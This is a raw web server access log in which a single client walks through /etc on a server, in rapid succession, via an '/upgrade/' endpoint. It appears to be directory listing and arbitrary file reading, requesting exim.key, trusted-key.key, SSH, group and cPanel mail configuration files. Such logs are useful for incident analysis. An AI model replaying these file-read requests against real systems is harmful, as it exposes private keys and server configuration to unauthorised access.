45.135.193.11 - - [11/Sep/2026:23:07:11 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fidmapd.conf&location=%2Fetc%2F HTTP/1.1" 200 31051 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fidmapd.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:11 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Frelayhosts&location=%2Fetc%2F HTTP/1.1" 200 28614 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Frelayhosts&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:11 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fodbcinst.ini&location=%2Fetc%2F HTTP/1.1" 200 29073 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fodbcinst.ini&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:11 -0400] "GET /upgrade/?location=%2Fetc%2Fpdns HTTP/1.1" 200 6103 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fpdns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:11 -0400] "GET /upgrade/?location=%2Fetc%2Fwpmm-firewall HTTP/1.1" 200 5752 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fwpmm-firewall" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:11 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fdemodomains&location=%2Fetc%2F HTTP/1.1" 200 28655 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fdemodomains&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:11 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Ffuse.conf&location=%2Fetc%2F HTTP/1.1" 200 28688 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Ffuse.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:11 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Finittab&location=%2Fetc%2F HTTP/1.1" 200 28978 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Finittab&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:12 -0400] "GET /upgrade/?location=%2Fetc%2Fdpkg HTTP/1.1" 200 6256 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fdpkg" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:12 -0400] "GET /upgrade/?location=%2Fetc%2Foddjob HTTP/1.1" 200 5722 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Foddjob" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:12 -0400] "GET /upgrade/?location=%2Fetc%2Fsasl2 HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fsasl2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:12 -0400] "GET /upgrade/?location=%2Fetc%2Fvfilters HTTP/1.1" 200 5748 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fvfilters" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:12 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fblocked_incoming_email_domains&location=%2Fetc%2F HTTP/1.1" 200 28729 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fblocked_incoming_email_domains&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:12 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fexim.key&location=%2Fetc%2F HTTP/1.1" 200 28109 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fexim.key&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:12 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fgreylist_trusted_netblocks&location=%2Fetc%2F HTTP/1.1" 200 28728 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fgreylist_trusted_netblocks&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:12 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Frpc&location=%2Fetc%2F HTTP/1.1" 200 29481 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Frpc&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:12 -0400] "GET /upgrade/?location=%2Fetc%2Fmy.cnf.d HTTP/1.1" 200 6313 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fmy.cnf.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:12 -0400] "GET /upgrade/?location=%2Fetc%2Fprofile.d HTTP/1.1" 200 7995 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fprofile.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:12 -0400] "GET /upgrade/?location=%2Fetc%2Frc4.d HTTP/1.1" 200 5731 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Frc4.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:13 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fuserdomains&location=%2Fetc%2F HTTP/1.1" 200 27603 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fuserdomains&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:13 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fservices&location=%2Fetc%2F HTTP/1.1" 200 188151 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fservices&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:13 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2FGREP_COLORS&location=%2Fetc%2F HTTP/1.1" 200 28779 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2FGREP_COLORS&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:13 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fmakedumpfile.conf.sample&location=%2Fetc%2F HTTP/1.1" 200 30644 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fmakedumpfile.conf.sample&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:13 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnocgiusers&location=%2Fetc%2F HTTP/1.1" 200 28597 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnocgiusers&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:13 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fremotedomains&location=%2Fetc%2F HTTP/1.1" 200 28697 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fremotedomains&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:13 -0400] "GET /upgrade/?location=%2Fetc%2Fflatpak HTTP/1.1" 200 5930 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fflatpak" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:13 -0400] "GET /upgrade/?location=%2Fetc%2Fsmartmontools HTTP/1.1" 200 6289 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fsmartmontools" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:13 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Femail_send_limits&location=%2Fetc%2F HTTP/1.1" 200 28702 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Femail_send_limits&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:13 -0400] "GET /upgrade/?location=%2Fetc%2Fcpanel HTTP/1.1" 200 5744 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fcpanel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:14 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnamed.conf&location=%2Fetc%2F HTTP/1.1" 200 33575 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnamed.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:14 -0400] "GET /upgrade/?location=%2Fetc%2Flibblockdev HTTP/1.1" 200 5930 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Flibblockdev" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:14 -0400] "GET /upgrade/?location=%2Fetc%2Fnftables HTTP/1.1" 200 5747 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fnftables" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:14 -0400] "GET /upgrade/?location=%2Fetc%2Frc6.d HTTP/1.1" 200 5731 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Frc6.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:14 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Foutgoing_mail_hold_users&location=%2Fetc%2F HTTP/1.1" 200 28684 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Foutgoing_mail_hold_users&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:14 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fskipsmtpcheckhosts&location=%2Fetc%2F HTTP/1.1" 200 28709 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fskipsmtpcheckhosts&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:14 -0400] "GET /upgrade/?location=%2Fetc%2F&option=dir HTTP/1.1" 200 28591 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:14 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fvirc&location=%2Fetc%2F HTTP/1.1" 200 29368 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fvirc&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:14 -0400] "GET /upgrade/?location=%2Fetc%2Fopt HTTP/1.1" 200 5719 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fopt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:14 -0400] "GET /upgrade/?location=%2Fetc%2Frwtab.d HTTP/1.1" 200 6283 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Frwtab.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:14 -0400] "GET /upgrade/?location=%2Fetc%2Ftpm2-tss HTTP/1.1" 200 6211 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Ftpm2-tss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:15 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fissue.net&location=%2Fetc%2F HTTP/1.1" 200 28678 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fissue.net&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:15 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fshells&location=%2Fetc%2F HTTP/1.1" 200 28530 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fshells&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:15 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsubuid-&location=%2Fetc%2F HTTP/1.1" 200 28195 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsubuid-&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:15 -0400] "GET /upgrade/?location=%2Fetc%2Fimunify360 HTTP/1.1" 200 5935 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fimunify360" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:15 -0400] "GET /upgrade/?location=%2Fetc%2Frc1.d HTTP/1.1" 200 5731 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Frc1.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:15 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fmanualmx&location=%2Fetc%2F HTTP/1.1" 200 28701 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fmanualmx&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:15 -0400] "GET /upgrade/?location=%2Fetc%2Fcl.selector HTTP/1.1" 200 6047 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fcl.selector" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:15 -0400] "GET /upgrade/?location=%2Fetc%2Fcron.weekly HTTP/1.1" 200 5726 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fcron.weekly" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:15 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fresolv.conf&location=%2Fetc%2F HTTP/1.1" 200 28742 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fresolv.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:15 -0400] "GET /upgrade/?location=%2Fetc%2Fwireplumber HTTP/1.1" 200 6119 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fwireplumber" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:15 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fuserplans&location=%2Fetc%2F HTTP/1.1" 200 28455 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fuserplans&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:15 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Feximrejects.rpmorig&location=%2Fetc%2F HTTP/1.1" 200 28904 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Feximrejects.rpmorig&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:16 -0400] "GET /upgrade/?location=%2Fetc%2Fbinfmt.d HTTP/1.1" 200 5722 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fbinfmt.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:16 -0400] "GET /upgrade/?location=%2Fetc%2F&option=folder HTTP/1.1" 200 28553 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:16 -0400] "GET /upgrade/?location=%2Fetc%2Fdefault HTTP/1.1" 200 6152 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fdefault" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:16 -0400] "GET /upgrade/?location=%2Fetc%2Fkrb5.conf.d HTTP/1.1" 200 6184 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fkrb5.conf.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:16 -0400] "GET /upgrade/?location=%2Fetc%2Flibpaper.d HTTP/1.1" 200 5724 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Flibpaper.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:16 -0400] "GET /upgrade/?location=%2Fetc%2Fsamba HTTP/1.1" 200 6203 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fsamba" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:16 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fgroup-&location=%2Fetc%2F HTTP/1.1" 200 29361 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fgroup-&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:16 -0400] "GET /upgrade/?location=%2Fetc%2Fsensors.d HTTP/1.1" 200 5723 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fsensors.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:16 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fcpupdate.conf&location=%2Fetc%2F HTTP/1.1" 200 28733 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fcpupdate.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:16 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fdomain_remote_mx_ips.cdb&location=%2Fetc%2F HTTP/1.1" 200 28592 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fdomain_remote_mx_ips.cdb&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:16 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fld.so.conf&location=%2Fetc%2F HTTP/1.1" 200 28672 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fld.so.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:16 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fmotd&location=%2Fetc%2F HTTP/1.1" 200 28689 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fmotd&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:16 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fos-release&location=%2Fetc%2F HTTP/1.1" 200 29003 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fos-release&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:17 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fssldomains&location=%2Fetc%2F HTTP/1.1" 200 28695 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fssldomains&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:17 -0400] "GET /upgrade/?location=%2Fetc%2Fkernel HTTP/1.1" 200 6199 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fkernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:17 -0400] "GET /upgrade/?location=%2Fetc%2Fpulse HTTP/1.1" 200 6051 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fpulse" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:17 -0400] "GET /upgrade/?location=%2Fetc%2Fssh HTTP/1.1" 200 6898 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fssh" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:17 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fexim.conf.localopts.shadow&location=%2Fetc%2F HTTP/1.1" 200 28712 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fexim.conf.localopts.shadow&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:17 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fpapersize&location=%2Fetc%2F HTTP/1.1" 200 28744 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fpapersize&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:17 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Ftrusted-key.key&location=%2Fetc%2F HTTP/1.1" 200 29065 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Ftrusted-key.key&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:17 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fwgetrc&location=%2Fetc%2F HTTP/1.1" 200 31078 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fwgetrc&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
